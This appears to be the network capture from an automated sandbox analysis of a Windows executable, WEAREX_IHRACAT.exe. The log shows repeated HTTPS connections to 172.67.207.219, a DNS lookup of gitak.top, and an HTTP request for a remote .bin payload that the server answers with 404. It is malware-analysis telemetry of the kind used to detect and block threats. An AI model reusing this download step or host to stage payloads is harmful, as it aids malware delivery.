Aug 29, 2024 12:46:05.133088112 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.133160114 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.355633974 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.355882883 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.356210947 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.356252909 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.356328011 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.356362104 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.614500046 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.614737988 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.614804029 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.615010023 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.615065098 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.615230083 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.615266085 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.615472078 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.615513086 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.615600109 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:05.615669012 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.615715981 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.616000891 CEST	49809	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:05.616065025 CEST	443	49809	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:15.629831076 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.629935980 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:15.630589962 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.630791903 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.630862951 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:15.854314089 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:15.854471922 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.854773998 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.854821920 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:15.854873896 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:15.854908943 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:16.116806030 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:16.116854906 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:16.116964102 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:16.116976023 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:16.116993904 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:16.117011070 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:16.117257118 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:16.117350101 CEST	49810	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:16.117358923 CEST	443	49810	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.127509117 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.127533913 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.127702951 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.127890110 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.127902985 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.343610048 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.343789101 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.344086885 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.344094992 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.344264030 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.344275951 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601516962 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601548910 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601661921 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601675034 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.601689100 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601751089 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.601802111 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:26.601843119 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.601958990 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.602102041 CEST	49811	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:26.602113962 CEST	443	49811	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:36.625188112 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.625314951 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:36.625544071 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.625741005 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.625814915 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:36.848781109 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:36.849014044 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.849493980 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.849507093 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:36.849591017 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:36.849601984 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.342232943 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.342437029 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.342503071 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.342654943 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.342714071 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.342900991 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.342948914 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.343170881 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.343208075 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.343314886 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.343389988 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:37.343434095 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.343463898 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.548295021 CEST	443	49812	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:37.548580885 CEST	49812	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.372956038 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.373085976 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.373313904 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.373552084 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.373634100 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.592196941 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.592394114 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.592695951 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.592714071 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.592829943 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.592845917 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.848311901 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.848546028 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.848599911 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.848887920 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.850058079 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.850256920 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.850297928 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.850476027 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.850521088 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.850550890 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:47.850714922 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.850775003 CEST	49813	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:47.850824118 CEST	443	49813	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:57.901814938 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:57.901943922 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:57.902189970 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:57.903110981 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:57.903187037 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.123657942 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.123899937 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.124186993 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.124232054 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.124273062 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.124301910 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386090994 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386282921 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.386321068 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386348009 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386487007 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.386528015 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386698961 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.386738062 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.386888027 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.386920929 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.387068987 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.387092113 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.387135029 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.387171030 CEST	443	49814	172.67.207.219	192.168.11.20
Aug 29, 2024 12:46:58.387242079 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:46:58.387305021 CEST	49814	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.399493933 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.399588108 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.399828911 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.400038958 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.400095940 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.622922897 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.623418093 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.623728991 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.623738050 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.623801947 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.623810053 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.891742945 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.891880989 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.891916037 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.891927004 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.892046928 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.892060995 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.892092943 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:08.892187119 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.892256021 CEST	49815	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:08.892266035 CEST	443	49815	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:18.928551912 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:18.928672075 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:18.928926945 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:18.929094076 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:18.929151058 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.150279045 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.150533915 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.150803089 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.150834084 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.150887012 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.150906086 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.408679008 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.408840895 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.408915043 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409084082 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.409100056 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409133911 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409300089 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.409348011 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409456968 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.409488916 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409535885 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409603119 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.409648895 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:19.409677029 CEST	443	49816	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:19.409740925 CEST	49816	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.488555908 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.488667965 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.488924980 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.489124060 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.489186049 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.715075016 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.715364933 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.715671062 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.715722084 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.715744972 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.715769053 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980079889 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980321884 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.980417967 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980582952 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.980622053 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980659962 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980859041 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.980906010 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.980954885 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:29.981025934 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.981112957 CEST	49817	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:29.981180906 CEST	443	49817	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.064666033 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.064769983 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.064963102 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.065227032 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.065289974 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.286212921 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.286431074 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.286741018 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.286794901 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.286827087 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.286850929 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.545794964 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546044111 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546104908 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546139956 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546278954 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546336889 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546387911 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546535969 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546622992 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546741962 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546775103 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.546803951 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.546900034 CEST	443	49818	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:40.547034979 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:40.547074080 CEST	49818	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.624530077 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.624655008 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:50.624865055 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.625030041 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.625073910 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:50.857280970 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:50.857425928 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.857775927 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.857803106 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:50.857872009 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:50.857888937 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:51.113825083 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:51.113893032 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:51.113938093 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:51.114001989 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:47:51.114052057 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:51.114275932 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:51.114275932 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:51.114660025 CEST	49819	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:47:51.114674091 CEST	443	49819	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.153462887 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.153482914 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.153681040 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.153919935 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.153930902 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.368108988 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.368365049 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.368993044 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.369003057 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.369113922 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.369123936 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.626879930 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627010107 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627059937 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627068996 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.627083063 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627182961 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.627263069 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.627271891 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627296925 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:01.627378941 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.627484083 CEST	49820	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:01.627496958 CEST	443	49820	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:11.666954994 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.666976929 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:11.667110920 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.667321920 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.667332888 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:11.882405996 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:11.882591963 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.882884026 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.882891893 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:11.882967949 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:11.882975101 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140532970 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140585899 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140661955 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140696049 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:12.140733957 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140743971 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:12.140772104 CEST	443	49821	172.67.207.219	192.168.11.20
Aug 29, 2024 12:48:12.140891075 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:12.141032934 CEST	49821	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:48:12.141045094 CEST	443	49821	172.67.207.219	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 12:40:17.157623053 CEST	57791	53	192.168.11.20	1.1.1.1
Aug 29, 2024 12:40:17.539810896 CEST	53	57791	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2024 12:40:17.157623053 CEST	192.168.11.20	1.1.1.1	0x9d5f	Standard query (0)	gitak.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2024 12:40:17.539810896 CEST	1.1.1.1	192.168.11.20	0x9d5f	No error (0)	gitak.top		172.67.207.219	A (IP address)	IN (0x0001)	false
Aug 29, 2024 12:40:17.539810896 CEST	1.1.1.1	192.168.11.20	0x9d5f	No error (0)	gitak.top		104.21.22.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gitak.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49776	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:40:17 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:40:18 UTC	667	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:40:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RtkS5n2C9K8mjiAQPIkIP9T88mXoVLDUFQwJUfSU5sWwsYGnJKDIxQnhTK%2BYG5ngpEcRf5RfEbq4xB%2BvWG1QUI17VL2JbGYWyhEsdLzTqLMGDmjiPOeBBprfnY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babec105a2956ec-IAD alt-svc: h3=":443"; ma=86400
